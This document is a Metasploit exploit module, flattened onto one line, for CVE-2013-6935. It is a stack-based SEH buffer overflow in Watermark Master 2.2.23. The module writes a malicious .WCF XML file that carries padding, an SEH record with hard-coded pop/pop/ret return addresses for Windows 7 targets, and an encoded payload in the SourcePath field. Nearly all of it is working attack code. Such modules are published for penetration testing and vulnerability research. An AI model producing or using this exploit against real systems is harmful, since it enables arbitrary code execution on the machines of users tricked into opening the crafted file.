## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Watermark Master Buffer Overflow (SEH)', 'Description' => %q{ This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when processing a specially crafted .WCF file. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine by enticing a user of Watermark Master to open a malicious .WCF file. }, 'License' => MSF_LICENSE, 'Author' => [ 'metacom', # Original discovery 'Andrew Smith', # MSF Module ], 'References' => [ [ 'OSVDB', '99226' ], [ 'CVE', '2013-6935'], [ 'EBD', '29327' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", 'DisableNops' => false, 'Space' => 7276 }, 'Targets' => [ [ 'Windows 7 x32 - Watermark Master 2.2.23', { 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll 'Offset' => 516 } ], [ 'Windows 7 x64 - Watermark Master 2.2.23', { 'Ret' => 0x1001329a, #p/p/r | CommonClassesMFC.dll 'Offset' => 516 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 1 2013', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class) end def exploit buffer = rand_text(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded buffer << rand_text(18000 - buffer.length) file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.2.23.00"> <cols name="Files"/> <cols name="Profiles"> <Property name="Profile"> <cols name="Watermarks"/> <cols name="Timelines"/> <cols name="Streams"> <Property name="Stream"> <Value name="SourcePath" type="8" value="#{buffer}"/> </Property> </cols> <cols name=""/> </Property> </cols> </config>| print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(file) end end